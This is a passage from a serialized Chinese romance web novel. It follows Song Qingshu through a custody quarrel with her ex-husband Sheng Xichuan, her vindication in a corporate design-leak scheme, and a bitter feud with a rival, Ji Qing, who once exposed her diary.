“妈妈。”在电梯里,珍珠又叫了一声,语气里已经带了哭腔。
事到如今,她已经知道自己做了错事,伤了妈妈的心。
宋清殊深呼吸,极力让自己不要发火。
她将珍珠抱起来,一路坐电梯回家,依然什么都没说。
回到家,两个保姆也起来了,都围了过来。
她们想批评珍珠,怕拿捏不好尺度,不说,又怕同样的事情再发生。
雪姐犹豫再三,还是开口:“珍珠,你知道你妈妈多担心你吗?整整一晚上,把能托的关系,能找的人都找了。”
雪姐开了这个口,芝姐也忍不住了。
“是啊,你又不是不记得妈妈手机号,怎么也要打电话先说一声啊,你妈妈说,你要是出什么事,她也不活了。”芝姐说。
珍珠垂着眼,心里难过极了,她又看宋清殊。
宋清殊什么都不想说。
“先睡觉吧,有事明天聊。”她把珍珠交给雪姐,自己转身要回卧室。
珍珠这才“哇”地一声再次大哭起来。
她跑过去抱宋清殊的腿:“妈妈,我只是以为这样你就能回到爸爸身边!对不起妈妈!”
宋清殊转头,看珍珠的眼神很冷静:“珍珠,妈妈没经过你同意就生下了你,的确做的不对。你要什么补偿,才能原谅妈妈?”
珍珠被宋清殊问住了,自始至终,她都没有因为被妈妈带来到这个世界上怨恨过,她觉得生活很美好,做妈妈的女儿很幸福。
如果不回上京,或许一辈子就这样下去,她永远不知道自己的父亲是谁,也不会觉得怎么样。
可毕竟她知道了爸爸的存在,想装作完全没有这个人一样继续生活,真的很难。
珍珠一直在凭本能做事,本能地喜欢爸爸的味道,本能地想接近爸爸。哪怕这次被爸爸“策反”,也是天真地希望爸爸追回妈妈,他们一家三口有个Happyending。
“妈妈,我没有怪过你。能在这个世界上,我觉得很幸福。”珍珠看着宋清殊的脸色,小心翼翼地说。
宋清殊点点头,蹲下身看她:“那下一个问题:我和你爸爸已经不相爱了,我们不会复合,但我们都会爱你。你跟谁?”
珍珠的眼神闪过一丝懵懂。
宋清殊摸了摸她的头:“不用着急回答我,想好了,随时来告诉我。但是你做决定之后,今天的事就再也不被允许发生了。
宝宝,如果你选了妈妈,妈妈一定会给你和爸爸相处的机会。
但如果再被妈妈发现一次,你私自跟你爸爸走了,妈妈绝对不会再找你。”
宋清殊说这话是为了吓唬珍珠,没想到自己先红了眼睛,她控制不住自己。
一晚上的恐惧,愤怒,和盛熙川的对峙,此刻都化作了委屈。
“妈妈!”珍珠扑进宋清殊怀里,一双小手臂,紧紧抱住了她,“珍珠选妈妈,珍珠以后再也不会这样做了。”
宋清殊照着珍珠的
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小屁股拍了一下,拍完,自己的眼泪先落下来。
母女两人抱头痛哭了一场,一直到凌晨五点多,珍珠才哭累了再次睡去。
看着珍珠的睡颜,宋清殊深深叹了口气。
事情并没有解决,她的迷茫和自我怀疑反而加深了。
她做错了吗?
等周末跟盛熙川好好聊聊吧,她想。
这件事给宋清殊带来的震荡太大,有几天的时间她都没有缓过来。
这期间,她甚至没有发现阿诺早已悄无声息地离开,还删除了她的所有联系方式。
尤其心不在焉,工作中也出了一点岔子。
看她魂不守舍,莫兰溪也不好说离开的事,便又憋了两天。
还没等到周末,周五下午出了事。
起因是,陆三叔在上千号员工的大群里甩了两张图片。
是陆氏的新产品和设计图,目前在研发试运营阶段,还没有问世。
陆二叔先发言:【这么快已经设计完成了吗?咱们集团果然是最有效率的(大拇指)】
马上有人捧臭脚,随着发了三个(大拇指)的表情。
接着,群里的人刷起屏,在几百条(大拇指)点赞后,陆三叔丢了颗炸雷出来——
【这是对手公司宏文集团做的,已经先我们一步问世】
陆二叔马上问:【是谁泄的秘?】
陆三叔:【研发部童卉嫌疑最大,已经被控制,但她只是个实习生,这么核心的东西应该接触不到】
能接触到图纸的,除了研发部的几个骨干,只剩陆夫人,二叔,三叔,霍宗辞和宋清殊。
此时,二叔三叔两人一唱一和,目标是谁自然不用多说。
霍宗辞和宋清殊谁也没有作声。
倒是一直没说话的陆夫人在群里发话:
【@所有人:各部门静默不动,我已经报警,在这件事查清楚之前,都不要下班】
第206章 反转
宋清殊不仅知道盛熙川来过,而且知道他不是昨天才来,是在她比别人多得到一床被子的时候就来了。
这里,陆夫人作为原告不好打点,楼珏的手也伸不进来,除了盛熙川不会有别人。
生病的时候人是最脆弱的,虽说以身入局是自己的主动选择,可想起那个怀抱,还是觉得心里有暖流涌过。
有什么东西在悄悄滋长。
宋清殊极力忽略那点异样,告诉自己现在不是想这个的时候,他们的故事也不该是这个走向。
她把自己的注意力收回来,之后,又在看守所捱了几日。
这几天外面更是发生了很多事。
首先是宏文集团的新产品出了问题,有几亿的货物没有通过验收。
接着,警方找到了一段陆三叔跟宏文集团总裁一起去洗浴捏脚的照片,以及,陆三叔进入宋清殊办公室打开电脑的监控画面。
很多东西就是这样,未知全貌的时候以为多么高深莫测,查明真相时,会发现所谓的权谋商战,也不过如此。
无非是陆三叔为了利益跟宏文集团里应外合,帮他们盗取陆氏的科研成果。
至于陷害宋清殊,不过是顺手的事。
童卉主动接近宋清殊,刻意留下她们走得很近的证据,也是她任务的一环。
大概最失算的地方,是被盛熙川撞上。
在盛熙川提醒后,宋清殊迅速警觉,跟陆夫人商量了对策。
她在电脑里放了一份假图纸,等别人来偷。
如果换了对公司业务足够熟悉的人,一定会发现图纸上产品规格尺寸用料都有细微变化,但不管是陆二叔还是陆三叔,都不怎么深入基层。
陆夫人和宋清殊在赌他们看不出来。
证据一直都有,至于不早点拿出来,偏要等事情发酵,宋清殊在看守所住上几天,无非是想等宏文那边得意忘形,把这个盘扩大。
他们拿到了有问题的图纸,产品自然不合格。
每多签一份合同,就要多付一份违约金出来,短短几天时间,预计损失能达11位数。
宏文的股票一度跌停,面临破产。
事发的当天,那位年轻的总裁就跳了楼,陆三叔也有面临牢狱之灾的风险。
唯一的遗憾是,陆二叔这个笑面虎聪明地把自己摘了出来,愣是没有被抓住把柄。
宋清殊跌入谷底的口碑,又迅速升到最高处。
人人都夸她有勇有谋又沉得住气,是个人物。
又说陆夫人没有看错人,这个干女儿没白养。
陆夫人更是激动得几度哽咽。
宋清殊无罪释放那天,陆夫人特地带着高层们赶到看守所门口亲自迎接,替她办了一个欢迎仪式。
跨火盆等更是一个都不少。
仪式结束后,母女两人一同回家,聊起这件事都很感慨。
这个事情并不复杂,但其中的任何一环出了问题,都不会成功。
这里面最值得感谢的人,还是“吹哨”的盛熙川。
提起盛熙川,陆夫人自然免不了问起两人的事。
听宋清殊讲两人那天的争执,再看到宋清殊手背上的伤,陆夫人心疼得不得了。
她劝宋清殊:“如今
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珍珠的身份已经曝光,你们少不了抬头不见低头见,闹太生分了不好。
哪怕没办法再做夫妻,做朋友也总比好过剑拔**张。”
宋清殊苦笑:“原本是这么想的,谁知道他后来不甘心,惹了好多麻烦。”
陆夫人:“人又不是神,都有犯错误的时候,要我说你们就开诚布公的谈谈,趁着这件事,再给彼此个台阶下。”
她的话,宋清殊表示会慎重考虑。
之后将珍珠接回家去。
珍珠也知道了这件事,一见宋清殊就激动地亲她。
珍珠说:“妈妈好厉害,像谍战剧里的女英雄。”
宋清殊被那么多人夸赞都没觉得怎样,被女儿一说突然很有成就感,她觉得,自己给珍珠做了好榜样。
晚上,母女两人亲热够,珍珠在她旁边甜甜的睡着,宋清殊还在想她跟盛熙川的事。
不如当面聊聊吧,把话说开。要么他也说要修改那份协议的。
这样想着,宋清殊就给盛熙川发了个微信:【明天有时间吗?一起吃个饭。】
消息石沉大海,一直到第二天中午,宋清殊都没有等来盛熙川的回复。
不知怎么,她隐隐觉得不安。
宋清殊不想内耗,给盛熙川打了个电话过去。
彩铃响了很久,直到挂断也没有人接听。
宋清殊的不安感更加强烈。
隔了一个多小时,她又打了一个。
这次,电话是一个女人接的,听上去很年轻,但透着隐隐的不耐烦:
“熙川哥哥受伤了,现在在医院,你有事吗?”
第207章 季卿
盛熙川受伤了?!什么时候的事?
宋清殊的头嗡了一下,下意识问道:“他怎么受的伤,严重吗?”
对方语气很冷:“请问你以什么身份关心他,宋小姐?”
不友善得让人直皱眉。
没等她再说话,那边就直接挂了。
下午的京华医院里,依然人来人往。
宋清殊没有直接去病房,而是先去了院长办公室。
她得先找苏白问问情况,免得直接去了被那女人当假想敌。
苏白刚查房回来,看着情绪不高。
“盛熙川出什么事了?”宋清殊顾不上寒暄两句,一开口直奔主题。
她自问没办法坐视不理。
对于这个想法,宋清殊倒是也没有苛责自己。
她反复跟自己强调,哪怕出事的是普通朋友也会这样做,并不因为对方是盛熙川。
谎话反复多说几次都能骗到自己,更何况,她这也不完全撒谎。
苏白这次知道的并不多。
他说盛熙川昨晚出了车祸被送进来,问题不是很大,只是颈椎有些错位,今早做了正骨,需要留院观察一天。
“身体问题不大,但脾气很大。以我对他的了解,很有可能是因为你。”苏白道。
毕竟在他看来,除了宋清殊,很少有什么事值得盛熙川大动肝火。
因为她?一个多星期前她的确做了让他生气的事,可他去拘留所看她,不是说已经把自己哄好了么。
多想无益。
“我去问问。”宋清殊说。
转身走了两步,她又回头问苏白:“对了,我打电话的时候是个女人接的,对我挺有敌意,我去方便吗?”
苏白愣了一下,随即反应过来:“你说季卿啊。昨天就是她发现熙川的车出了事故,把人送来了医院。”
见宋清殊不说话,又说:“你可能不认识她,但她姐姐是你初中同班同学,叫季昭昭,你有印象吗?”
盛熙川和宋清殊刚离婚那会儿,季家找了好几拨人来撮合季卿和熙川,后来看盛熙川实在没有这个意思,才不得不放弃。
而陆氏出事这几天,宋清殊口碑急转直下,让季家又看到了机会,季卿又开始跟盛熙川频繁联系起来。
季卿想做什么已经摆在了明面上。
苏白觉得不需要说太透,宋清殊能听懂。剩下的,只是她在不在乎的问题。
宋清殊当然能听懂,但她在恍神。
季卿,又见面了。
何止认识,简直化成灰都忘不掉。
说起来,她当年出国,还是拜季卿所赐。
宋清殊的初中时代,跟季卿的姐姐季昭昭关系不错,她们时常周末相约一起写作业,有时候在陆家,有时候在季家。
那天,陆夫人来接她回去吃饭,走得匆忙,把书包落在了季家。
她那本日记,就是由季昭昭发现,之后被季卿拿到学校传开的。
事情一度发展到不可收拾的局面,宋清殊遭遇了很长一段时间的校园暴力和**羞辱,都是拜她所赐。
等这件事发酵再发酵,终于捅到了大人们面前时,已经是几个星期之后的事。
宋夫人借着这个由头跟陆夫人闹了好几场,说自己忍痛把女儿过继给她,她却不安好心,把孩子教成这个样子。
陆夫人被狠狠敲诈了一笔不说,连宋清殊都被带回了宋家,她对陆夫人的称
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呼也被迫从“妈妈”改成了“干妈”。
再之后,宋家又接受不了这个突然多出来的人,便把她送出国去读高中,这一走就是八年。
而陆家和莫家也有好几年时间沦为别人茶余饭后的谈资。
没有人追究这本日记是谁传出来的,大家的关注点都在日记本身,包括宋清殊自己都因此被带偏。
她不断指责青春期的自己,不断用别人羞辱她的话来自我伤害,都没有把这件事怪到季昭昭和季卿头上去。
那时候所有人的逻辑都是:要怪就怪你不知廉耻喜欢自己的舅舅,你不这么做,会被人说吗?
偷看传阅别人日记的确不对,可远没有她喜欢自己的舅舅错处更大。
她就这样被流放出去,一走就是八年。
而季昭昭和季卿姐妹,没有付出任何代价。
如今宋清殊自己也成了大人,她把珍珠代入到年少时的自己。
如果出现这种情况的是珍珠,她会把珍珠骂一顿,觉得她丢了自己的脸吗?会把她送出国去,八年不闻不问吗?
当然不会。
她会第一时间去查谁偷看了珍珠的日记,去揪出那个侵犯她女儿隐私权的人。会在别人用这件事来伤害珍珠时,帮她勇敢反击。
她当年的遭遇,归根结底不过是她的家人不爱她。
盛熙川的病房门开着。
他静静地靠坐在床头,神色恹恹的。
而季卿正坐在一旁剥了橘子放到他面前的盘子里,无比殷勤小意。
宋清殊敲门,两人同时看向她。
(作者的话:各位小宝,脆皮作者这两天痛经,更得少了,明天恢复双更,感谢关注)
第208章 宋小姐,我再也不会打扰你
宋清殊站在病房门口,不动声色的看着同时转过头来的两人。
她的目光先是扫过盛熙川露出的部分:头,颈,手臂,看上去都没有受伤。
微微松了口气后,随即又注意到两人都瞬间绷直的嘴角。
这是打扰到他们了?
宋清殊识趣的站在门口,没有往里走。
“听说你出了事故,我过来看看,没事就好。”她挂上一个得体的微笑。
盛熙川不说话,安静冷漠地审视她。
季卿更是停下了剥橘子的动作,神情戒备的样子,像在看一个入侵者。
宋清殊突然觉得,自己这趟来得有点多余了。
说不清道不明的细微情绪在心底有一闪而过。
她扶着门框,不再看季卿,只把眼睛落在盛熙川身上:“**妈说,过几天会办一个酒宴庆祝,如果有空的话务必赏脸。”
盛熙川依旧没理她,但季卿的神色放松了一些。那模样,好像刚才突然见到她没来得及准备好表情,如今已经找到了合适的。
这样尴尬的场景下,宋清殊也不上脸。
“那再见。”她说,转了身,准备顺便帮两人带上门。
“进来吧,聊聊。”盛熙川这才开了尊口,他声音很冷,又看一眼季卿,“你先出去。”
“熙川哥哥。”季卿不满地嘟嘴,在盛熙川冷淡的眼神里,终是不情不愿地走了出去。
宋清殊不知道他发什么邪火,她转身回来,静静地看着他。
季卿剜了她一眼走了。
盛熙川:“把门关上。”
于是,宋清殊在季卿面前合上门,走过去坐在了刚才季卿的那把椅子上。
“知道我出事故的原因吗?”盛熙川问她。
宋清殊摇头。
于是,盛熙川拿出了自己的手机扔在她面前。
画面里是一段视频。
是灯红酒绿中的阿诺,看上去喝了不少,脸和鼻子都泛着红。
他看上去意气风发,心情很好。
接着有人问他了一句话:“那样漂亮的女朋友,又有钱,说分就分了?”
阿诺大笑:“我也很遗憾,但都是假的。你知道我假扮她男朋友赚了多少钱吗?”
他用手比划了一个数,又道,“有个男人比她还大方,给了更多,要我离开她。”
他什么都没做,飞了趟中国就赚了这辈子都没赚到的钱,当然意气风发,春风得意。
宋清殊手脚冰凉,几次尝试挤出一个笑脸来,失败了。
于是,她就这样任表情僵在脸上,自暴自弃。
她自认为想的还算周全,也赌盛熙川心高气傲,懒得查那么细。
查的越细越说明他畏惧阿诺的存在,他不可能落下这样的口实。
可他还是做了,一点没嫌麻烦,在把阿诺打发走后,还找人跟去了法国,在他身边潜伏了好几天,一点点接近他,套他的话。
用心良苦,兴师动众。
还有一点,宋清殊没有考虑到,那就是忠诚度问题。
当时找的急,只觉得阿诺各方面都合适,偏偏忽略了他的忠诚度。
虽说“**无情,戏子无义”是一句偏见戏言,可阿诺这个行业的人,的确更容易守不住秘密。
宋清殊在脑子里快速复盘了一下这件事,也接受了被盛熙川知道的事实。
“抱歉,这个人的确是虚拟的,到后来实在是不好交差,才临时找了阿诺……”
她说,尽可能让自己看上去理直气壮一些,“但这个人的存在,并不是完全针对你。”
言下之意,“朱小明”是一座城墙,只防范想攻进来的人,是你自己要攻,才在意他的存在。
“当然。”盛熙川冷冷笑了笑,“离婚后,宋小姐跟谁在一起就跟我没什么关系了,是我自己像狗皮膏药一样黏住宋小姐不放,给宋小姐造成了困扰。”
接到消息的时候盛熙川在开车,他根本等不到靠边停车再看这条视频。
天知道他当时是什么心情。
宋清殊下这样大的一盘棋,伪造了“朱小明”这么个人出来,就是为了摆脱他的纠缠,关起门过自己的日子。
想起前阵子两人还为了这个虚拟**吵一架,宋清殊一定在心里要笑**。
从“朱小明”到珍珠的身份,哪一样都不算太高明,却因为他当局者迷
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,被骗的团团转。
宋清殊是不是觉得他很蠢,很好骗?
巨大的耻辱感,铺天盖地侵袭着他。
盛熙川觉得自己面中发痒,似乎长了个小丑的红鼻子出来。
也就是这是时候,他开车分神,冲进了一旁的绿化带里。
盛熙川这番话说得刺耳,宋清殊抿着唇一时不好接口。
“对不起,只是没有更好的方法了,才不得已撒谎。”
“呵,不必对不起。打发一个舔狗而已,用什么方法都不为过。”盛熙川冷冷道。
这话,宋清殊听了心里也不好受。
她垂眸,指甲掐在手心里。
“原本不想这样的,可你逼得太紧……”
盛熙川的脸色发白,眸子里闪着寒芒。
他打断她:“是我贱,以后不会再给你造成这种困扰了,宋小姐。”
宋清殊声音没有底气:“我们可以做朋友。”
盛熙川皮笑肉不笑:“宋小姐缺我这个朋友吗?”
宋清殊不知道该怎么回答他。
可他一口一个宋小姐,叫得她的确心里难受。
她站起身来:“你好好休息,等你出院,咱们找个时间再谈谈共同抚养珍珠的事。”
盛熙川闭上眼睛,已经不想多谈。
宋清殊也没有自讨没趣,她缓缓走出去,每一步都很慢。
这次,她和盛熙川的缘分是真的没了吧。
想象中松口气的感觉并没有来。
她还是觉得压抑,像溺水。
门外,季卿坐在长椅上。
见宋清殊出来,她抬了下眼。
宋清殊目不斜视地路过。
“既然要走,就该走得干干净净,为什么要回来?”季卿在她身后发难。
宋清殊驻足,挑了下眉看她:“这上京什么时候姓季了?”
严格说来,季卿不是土生土长的上京人。
她爷爷在隔壁市做市长,退休后才带着全家来上京定居,那一年也差不多是宋清殊认识她们姐妹的时候。
季卿比她小三岁,算下来,今年差不多大学刚毕业回来。
估计家里比较关心她的终身大事,才瞄上了盛熙川。
第209章 宠爱
季卿家里从政,在她眼里,只有盛家和他们是一样的。
因此,她骨子里是很瞧不起上京这些第二梯队的商人世家们。
而宋清殊又因为是宋家的女儿,还是个不受待见的“计划外”的女儿,更入不了她的眼。
所以看宋清殊跟她这样说话,季卿心里便恼了。
她站起来跟宋清殊对视,眼里都是轻蔑:“宋清殊,看来你这几年真是挺有长进,脾气大了不少,嘴也越发厉害了。”
宋清殊:“我就当你夸我了。”
她要走,只听季卿又在身后道:“实话告诉你,我爷爷已经跟盛司令说好了,今年就让我们订婚。”
宋清殊:“哦。”
太子爷和公主殿下,倒是般配。
宋清殊脚步不停。
“你不是喜欢莫北丞吗?反正他现在也单身,你去追他不就好了,干嘛贴着淅熙川哥哥不放,跟个狗……”
季卿话没说完,便对上了宋清殊冷若冰霜的眼睛。
宋清殊那一眼,又冷又狠,仿佛她才是个真正的上位者。
季卿被盯得心虚。
又暗骂自己不该这么慌。跟她比,宋清殊算什么东西。
她强装淡定。
“季小姐,听说你家人信佛。”宋清殊审视了她许久,才淡然开口,“不知道信不信因果报应代际相传?”
“什么意思?”
“没什么意思。也许季小姐现在觉得自己有家人庇护,怎么作恶都不怕。别着急,风水轮流转,有你家人护不住的时候。或者……”
宋清殊停顿了一下,“季小姐干脆祈祷自己以后不会生女儿,不然你女儿遭遇不好的事,你这个做妈妈的但凡有点儿心,也会愧疚一辈子,是不是?”
“宋清殊,你威胁我?”季卿提高了嗓门,“还用我未来的孩子威胁我,你怎么这么恶毒!”
她生怕盛熙川听不到。
宋清殊冷冷勾了勾唇角,一刻也不停留的走了。
盛熙川耳朵灵,两人在外的对话,听了个七七八八。
**两人的过节,也不知道那本日记是当时只有12岁的季卿传出去的。现在又跟宋清殊生着气,故意心往季卿身上偏。
他怪宋清殊,她自己也是个当妈的人了,有什么不痛快不找当事人,要诅咒别人的女儿,实在没品。
不一会儿,季卿又回了病房。
她故意坐下来,几次看盛熙川,委委屈屈,欲言又止。
盛熙川不说话,拿出手机处理了一下公务,顺便对宋清殊设置了【朋友圈不可见】。
对他来说,这已经是很大程度上的交恶,毕竟和宋清殊恢复联络后,发现她对自己朋友圈不可见,他还是挺难过的。
“熙川哥哥。”季卿终于忍不住开口告状,“宋清殊看我跟你走得近,拿我当假想敌。”
盛熙川这才从手机屏幕前抬眼:“哦,那你离我远点不就好了。”
季卿:“……”
她被盛熙川噎得好一会儿说不出话来,许久才撅着嘴说:“我不,我喜欢你,我就要离你近点。”
季卿年纪小,长得又很娇憨可爱,说出这样任性又撒娇的话来丝毫没有违和感。
关于这一点,她自己也知道,不然也不会这样肆无忌惮。
盛熙川暼了季卿一眼,什么话都没有说。
回去的路上,宋清殊把车开得飞快。
初春的天气乍暖还寒,风沿着窗子灌进来,她也更加清醒。
她把自己的个人情绪抽离出来,置身事外去看。
盛熙川都说出了那样的话,大概也就再也不会纠缠她了。是好事。
至于季卿,追盛熙川是她的事。
年少时的事,毕竟已经过去了。宋清殊愿意选择和解,不是为季卿,是为了放过自己的今后的人生。
只要季卿不主动招惹,她就可以一笔勾销。但如果季卿不知好歹,偏要交锋,她绝对不会手软。
这样想着,宋清殊不安了很多天的心,竟然踏实了下来。
她吃的睡的都不错,除了偶尔几天会莫名奇妙梦到盛熙川,没什么不妥。
中间盛熙川来接了两次珍珠。
都是由别墅的管家打电话,他的车到地下车库后,保姆将珍珠送下去,管家再下车迎接,他们没有
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再打照面。
宋清殊看盛熙川的朋友圈已经对自己不可见,心底闪过一丝淡淡的失落感,她要自己不要多想。
当年刚离婚的时候也有点不适应,不也很快就好了。
不过是人的占有欲在作祟,没什么。
关于重新拟定协议的事,宋清殊也问了管家。
管家说,法务团队已经在出新合同了,让她等等。
盛熙川不急,宋清殊索性也就不急了。
两人王不见王又过了两周。
这两周里,陆氏开酒会盛熙川也没有去。
但陆夫人会做人,让人准备了厚礼,亲自送去了盛世集团,甚至中午跟盛熙川吃了个午饭才回来。
但回来后陆夫人没有跟宋清殊说细节,宋清殊便也没有问。
关于珍珠的陪伴问题,盛熙川斤斤计较。
说了每周珍珠可以在他那里三天,他便让人周五一大早来接,周日晚上吃完晚饭才送回来。
珍珠那么聪明,自然能看出父母之间的不愉快。
但盛熙川从不在她面前显露负面情绪,所以她每次去和回来都很高兴。
宋清殊了解自己的女儿,看到她日渐增多的笑容,也跟着开心。
开心之余,更多的是亏欠感和自责。
对别人的孩子来说唾手可得的父爱,她竟然让珍珠等了三年多。
她真的做错了。
宋清殊不怎么过问珍珠和盛熙川相处的细节,但珍珠很愿意分享,一回来,便跟在她身后像个小尾巴似地讲个不停。
她讲盛熙川带着她去参加商务宴会。
“有个伯伯听说我是爸爸的女儿,嘴巴张这么大。”
珍珠生怕宋清殊看不见,跑到她面前张大嘴巴。
又说,“所有叔叔伯伯都要看爸爸脸色,因为我在,全桌没有人喝酒,都要陪我喝酸奶。”
宋清殊听得想笑。
盛熙川宠一个人的时候是这样的,他很喜欢被他偏爱的人骄纵一点,无法无天一点。
宋清殊一直学不会骄纵,但他的女儿的确完美符合。
直到珍珠在盛熙川的办公室里遇上了季卿。
第210章 季卿宣战
又一个周日晚上,珍珠回到家,给宋清殊带了一个信封。
“妈妈,你朋友让我给你的。”她说,听上去情绪不高。
宋清殊满脑子问号:“我哪个朋友?”
什么朋友会让她三岁的女儿带东西?
她猜到了一种可能,神经瞬间紧绷。
果然,珍珠说:“一个总去找爸爸的阿姨,叫季卿,她说是你朋友。”
……就知道狗改不了吃屎,她竟然还指望季卿收敛,两人井水不犯河水。
如今看,她对季卿还是太宽容了。
当年,宋清殊是真心拿季家姐妹当朋友的。
以至于那件事发生后,她除了难堪,还有伤心。
以至于在国外反思了很长一段时间,都不知道自己到底怎么得罪了她们。
直到后来,楼珏给了她答案:因为她是男生们评选出来的校花。
尽管这个头衔并没有什么实际的好处,她更没有做过触犯她们姐妹利益的事。
可她是校花这件事本身,就已经冒犯了她们,就是不能原谅的错误。
现在想来,15岁时的宋清殊还是太单纯,对人没有防备之心,才让自己陷入了那样的局面里。
信封打开,里面是一张照片,上面有几个烫金大字“初三一班留念”,季昭昭站C位。
背面,有季卿手写的一段话。
“清殊姐姐,相信你很为没有和我姐姐一起毕业而遗憾,这是你们班级的毕业照,我洗出来送你一张。
对了,明天有空吗,不如一起喝个咖啡?”
后面附上了她的电话号。
宋清殊神情冷肃,拿着那张照片反复看了很久。
季卿好手段。
明知狼狈逃离是她最不想提的旧事,偏要用季昭昭的毕业照来羞辱她。
她可不可以认为,这是宣战的信号?
而且,要找她,有的是办法,季卿偏偏把她三岁的女儿牵扯进来,这么做,已经触及了她的底线。
看宋清殊出神,珍珠的小脑袋凑过来:“妈妈,这是什么?”
“我初中班级的毕业照。”宋清殊没有隐瞒,而是拿给她看,“你还记得妈妈说过15岁的事吗?”
珍珠点点头。
“季卿和她姐姐就是当年把妈妈日记公布出去的人。”
珍珠瞪圆了眼睛:“那她比吴小爱还讨厌!”
宋清殊:“……”
平心而论,吴小爱只是嘴欠,人比较白目,说起来,还真没有耍过什么阴招。
而且宋清殊见过她工作的样子,称得上一丝不苟,兢兢业业。
相比之下,还是季卿更讨厌。
宋清殊跟珍珠说这件事是为了让她提高警惕,以防哪天被季卿害了都不知道。
珍珠明白妈妈的意思,马上拍着小胸脯再三跟她保证,以后绝不会单独跟季卿接触,发现不对劲也一定会先告诉爸爸妈妈。
宋清殊略微放下心来。
“不过妈妈,”珍珠几次欲言又止,最后终于忍不住说,“你知道季卿在追爸爸吗?”
“珍珠,那是爸爸的私事,你以后不用告诉妈妈。”宋清殊及时截住了她的话头。
珍珠瘪瘪嘴,果然没有再提。
第二天中午,宋清殊和季卿约在了陆氏附近的一家咖啡馆。
季卿先到,宋清殊到的时候,正看到她往面前的拿铁里加致死量的白砂糖。
此时没有男人,季卿终于不用装出那副可爱的模样。
她看上去成熟冷静,眼神里都是傲气。
一见宋清殊,季卿先笑了:“我说怎么诅咒我未来的女儿呢,原来是因为你正好有个女儿。”
“好笑吗?”宋清殊在她对面坐下,给自己点了杯热美式,之后淡淡地看着她。
“不好笑吗?”季卿低头搅拌咖啡,笑得更加意味深长,“人用来威胁别人的东西,往往都是自己最在意的。宋清殊,你这么做,可见是真的很紧张你女儿。”
宋清殊不接她的话,只问:“你约我见面,目的呢?”
“目的你会不知道?”季卿笑得放肆。
宋清殊:“我不知道。”
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她神情平静,看季卿的眼神像看一个小丑,静静地看着她表演,季卿终于笑不出来了。
“离开他,离得越远越好。”她正色。
“离开谁,盛熙川吗?我们没有复合,他是单身。”
“少装蒜,宋清殊。”季卿喝了一口咖啡,放下的时候用了点力气,陶瓷杯在大理石桌面发出脆响。
有液体溅出来一滴,落在桌面上,变成一个难看的污点。
“你要钱,还是要什么,都可以提。只要你能离开上京,就像前几年一样,走得越远越好,走到盛熙川找不到你的地方去。”季卿说。
宋清殊看小丑的眼神更加藏不住。
她不想跟蠢人说话。
“我回上京是为了**妈,不是为了盛熙川。我不会走,但也不会影响你追求他。
季卿,你通过我女儿找我已经触及到了我的底线,这是最后一次。如果再有下次……”
“再有下次能怎么样,把我抓起来吗?”季卿哼笑一声,轻蔑地看她,“你应该知道我爷爷是谁吧?”
宋清殊抿着唇没说话。
季卿又伏在桌面上,身子微微前倾凑到她耳边声音压低:“我这个人做事最不讲究手段。宋清殊,你要是不听话,可就别怪我把账算到你女儿头上。”
此时,热美式端了上来。
宋清殊接过,站起身。
她抬手,将一整杯滚烫的咖啡对着季卿兜头淋下。
“宋清殊,你这个疯子!”季卿顿时发出一声尖叫。
无数双眼睛被声音吸引过来,纷纷往这边看。
季卿无比狼狈,她手忙脚乱扯桌上的纸巾擦头发和被烫红的脸,竟然没有顾得上跟她动手。
宋清殊隐约觉得不对劲。
却还是冷冷道:“季卿,我只提醒你这一次。你要执迷不悟,就放马过来。”
说完,她放下咖啡杯,转身离去。
还没到门口,就遇到了两周没见的盛熙川。
这个巧合让宋清殊有理由相信,她是被季卿摆了一道。
第211章 你很介意季卿?
季卿做这个局的目的呢?
在威胁她的同时,破坏她在盛熙川心里的形象,一石二鸟,一箭双雕。
宋清殊不害怕,甚至还想笑。
她和盛熙川经历了太多事,她的前科何止这一件?
比起她假装流产,让自己女儿叫盛熙川叔叔,捏造出个假的“朱小明”出来,这件事太小巫见大巫。
四目相对,她并没有看到盛熙川眼里的失望或震惊,他很淡定。
于是,宋清殊对盛熙川勾了下唇角,讥讽一笑,就要离开。
走两步,又想起什么,她回头:“盛总。”
此时,她才发现,盛熙川脚步没动。不仅如此,还早就转过了身子,他刚才在看她离开的背影。
被抓包的盛熙川有一闪而过的尴尬:“嗯?”
“不是说关于珍珠的陪伴问题有新协议要谈,尽快吧。”正好她要聊聊这件事。
盛熙川微微蹙眉:“那明天这个时候吧。”
宋清殊点点头:“好。季小姐被我泼了杯热咖啡,去安慰吧。”
说完,她迈着大步离开了。
盛熙川走到季卿面前时,她正用冰毛巾敷脸,整个哭得梨花带雨,要多可怜有多可怜。
“你都看到了。”季卿抬起一双通红的眼睛看他,“熙川哥哥,宋清殊为了把我赶走,手段用尽!”
盛熙川在她对面坐下。
“是你约她过来的。”宋清殊不会那么无聊。
他主动成那个样子都被她拒之千里,她怎么可能舍近求远,要靠威胁季卿来争夺他?
是季卿自己误以为宋清殊还对他有意。
想起刚才宋清殊冷淡离开的模样,心里苦涩感蔓延,神情却异常冰冷。
季卿被吓到,声音都小了下去:“是……可我只是想求求她,给我一个在你身边的机会。”
“季卿,别背着我招惹她。”盛熙川的声音没有一丝温度。
在他的眼神里,季卿看到了一抹狠戾。
第二天中午,宋清殊和盛熙川约在了一家私密性很好的餐厅里。
没点几道菜,双方都没有吃饭的心情。
盛熙川把重新拟好的协议递过来,给宋清殊过目。
她看了一下,跟她那一份大差不差,只是去除了珍珠不是盛家长女,不继承盛家财产的那一条。
“珍珠要不要她父亲的财产,该由她自己决定。”盛熙川神色很淡。
如果他和宋清殊一直是这个状态,那他往后的人生也不会再有别的孩子,他的钱不给珍珠给谁?
“好,那等珍珠成年后你们自己商议。”宋清殊让步。
她爽快地给新协议签了字,之后,才跟他聊起季卿。
“我今天还想聊一下季卿,有时间吗?”宋清殊问。
盛熙川没什么大的反应,只是点点头。
但他的神经紧绷着,想听听宋清殊说什么。
“盛总,我不管你和季卿怎么发展,但请答应我一件事,不要带着我的女儿跟她约会。”宋清殊说。
盛熙川的眉头拧在一起:“这是季卿跟你说的?宋清殊,我是那么没品的人?”
他相信她不是无缘无故泼季卿咖啡,她却妄自揣测他的品行。
这个认知,让盛熙川觉得委屈。
宋清殊不想提季卿让珍珠带毕业照给她的事,笑了笑:“我能这么说,肯定事出有因。如果盛总觉得冒犯,我先道个歉。
但珍珠不是一般孩子,她的感知力太强,我怕她受伤害。就当我提个醒,以防万一,好不好?”
她跟他打商量,脸上却没有商量的意思。
她的神情,分明就是如果季卿再出现在珍珠面前,她一定会跟他们两人拼命。
“你似乎很介意季卿的存在。”盛熙川说。
